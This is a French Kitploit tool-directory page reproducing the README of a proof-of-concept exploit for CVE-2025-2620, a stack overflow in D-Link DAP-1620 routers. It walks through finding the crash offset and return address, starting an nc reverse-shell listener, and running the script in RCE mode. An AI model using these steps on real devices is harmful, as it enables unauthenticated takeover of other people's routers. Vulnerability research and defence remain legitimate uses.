Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-2620-poc | Kitploit
Outils/GitHubGitHub/otsmane-ahmed/cve-2025-2620-poc
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de Binaires
161il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
otsmane-ahmed/cve-2025-2620-poc

CVE-2025-2620-poc

Voir le dépôt
Partager

Exploit de preuve de concept pour CVE-2025-2620

Vue d'ensemble

Ce dépôt contient un exploit de preuve de concept (PoC) avancé pour CVE-2025-2620, une vulnérabilité critique de type débordement de tampon dans la pile découverte dans le routeur D-Link DAP-1620 exécutant la version de firmware 1.03. Cette vulnérabilité permet à des attaquants distants non authentifiés de faire planter le serveur web du routeur (Déni de service, DoS) et potentiellement d'exécuter du code arbitraire (Exécution de code à distance, RCE).

Le but de ce projet est de démontrer des compétences en développement d'exploits.

Détails de la vulnérabilité

Description de la CVE

CVE-2025-2620 affecte la fonction mod_graph_auth_uri_handler du routeur D-Link DAP-1620, plus précisément au niveau du point de terminaison /storage. La vulnérabilité est causée par une mauvaise vérification des limites, permettant à un attaquant d'envoyer une entrée volumineuse qui dépasse la taille du tampon alloué, entraînant un débordement de tampon dans la pile.

Impact

  • Déni de service (DoS) : Fait planter le serveur HTTP du routeur, le rendant injoignable jusqu'à un redémarrage.
  • Exécution de code à distance (RCE) : Les attaquants peuvent écraser l'adresse de retour et exécuter du code arbitraire sur l'architecture basée sur MIPS du routeur.
  • Aucune authentification requise : La vulnérabilité peut être déclenchée à distance sans identifiants, ce qui augmente sa gravité.

Analyse technique

La fonction vulnérable traite un paramètre d'authentification (auth) provenant des requêtes HTTP :

root@kitploit:~
void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // Fixed-size stack buffer
    strcpy(buffer, input);  // No length check, causes overflow
    // Process authentication...
}

Un attaquant envoyant une charge utile surdimensionnée (par exemple, 1024+ octets) écrase la mémoire adjacente, y compris l'adresse de retour de la fonction, ce qui peut conduire à une exécution de code.

Score CVSS v3.1 : 9.8 (Critique)

Appareils concernés

Le D-Link DAP-1620 est un extenseur de portée Wi-Fi avec les spécifications suivantes :

  • CPU : Realtek RTL8197F (MIPS 24Kc, ~600 MHz)
  • RAM : 64 Mo
  • Flash : 16 Mo
  • Wi-Fi : Bi-bande 802.11ac
  • Firmware : 1.03 (vulnérable confirmé)

D'autres routeurs/extenseurs D-Link avec un firmware similaire peuvent également être affectés.

Chronologie de divulgation

  • 22 mars 2025 – CVE-2025-2620 publiée sur NVD/MITRE.
  • 22 mars 2025 – Ce PoC développé et testé.
  • 22 mars 2025 – Aucun correctif officiel de D-Link à cette date.

Détails de l'exploit PoC

Fonctionnalités

PoC combiné – Comprend à la fois le test de débordement de tampon et l'exploit RCE.
Test de débordement de tampon dans la pile – Identifie les routeurs vulnérables.
Exploit complet d'exécution de code à distance (RCE) – Ouvre un shell inverse.
Taille de charge utile et adresse de retour configurables – Adaptable à différents modèles de routeurs.
Débogage amélioré – Journalise les décalages de crash pour affiner les paramètres de l'exploit.

Installation et utilisation

Étape 1 : Cloner le dépôt

root@kitploit:~
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

Étape 2 : Installer les dépendances

Assurez-vous que Python3 et pwntools sont installés :

root@kitploit:~
pip install pwntools

Étape 3 : Configurer l'exploit

Modifiez le script CVE-2025-2620_poc.py :

Définir l'IP du routeur :

root@kitploit:~
TARGET_IP = "192.168.0.1"  # change to match your router

Définir l'IP de votre machine d'attaque :

root@kitploit:~
ATTACKER_IP = "192.168.0.100"  # change to your local IP
ATTACKER_PORT = 4444  # change if needed

Ajuster la taille du tampon si nécessaire :

root@kitploit:~
BUFFER_SIZE = 8000  # Increase if the router does not crash

Trouver le décalage EIP et définir l'adresse de retour :

Étape 1 : Envoyer un motif cyclique

Modifiez le PoC pour générer un motif unique et l'envoyer :

root@kitploit:~
MODE = "overflow"  # Set to "overflow" to find the offset

Exécutez le script :

root@kitploit:~
python3 CVE-2025-2620_poc.py
Étape 2 : Vérifier l'adresse du crash

Après avoir fait planter le routeur, vérifiez l'adresse de défaut de segmentation (EIP sur x86 ou RA sur MIPS) à partir de :

  • Journaux du routeur
  • Débogueur (gdb)
  • dmesg | grep 'segfault'

Recherchez une adresse comme 0x61616161 (ce qui signifie qu'une partie du motif cyclique a écrasé le pointeur de retour).

Étape 3 : Trouver le décalage

Utilisez cyclic_find pour localiser le décalage exact :

root@kitploit:~
from pwn import cyclic_find
print(cyclic_find(0x61616161))  # Replace with the crash address

Cela donne la valeur exacte de OFFSET. Mettez à jour votre PoC :

root@kitploit:~
OFFSET = <FOUND OFFSET>  # Replace with the actual number
Étape 4 : Trouver une adresse de retour appropriée (RET_ADDR)
  • Option 1 : Trouver un gadget JMP ou CALL

    root@kitploit:~
    ROPgadget --binary vulnerable_binary | grep "jmp"
    

    Choisissez une adresse qui saute vers un registre (par exemple, jmp $sp ou jmp $ra).

  • Option 2 : Utiliser une adresse ret2libc Trouvez l'adresse de system() dans libc :

    root@kitploit:~
    objdump -D /lib/libc.so.6 | grep "system"
    

    Ensuite, utilisez-la comme RET_ADDR :

    root@kitploit:~
    RET_ADDR = struct.pack("<I", 0xdeadbeef)  # Replace with actual address
    

Étape 4 : Démarrer un auditeur

root@kitploit:~
nc -lvnp 4444

Étape 5 : Exécuter l'exploit

root@kitploit:~
python3 CVE-2025-2620_poc.py --mode rce

Développé avec ❤️ par Otsmane Ahmed

Télécharger l’outil
MétriqueValeur
Vecteur d'attaqueRéseau
Complexité d'attaqueFaible
Privilèges requisAucun
Interaction utilisateurAucune
Impact sur la confidentialitéÉlevé
Impact sur l'intégritéÉlevé
Impact sur la disponibilitéÉlevé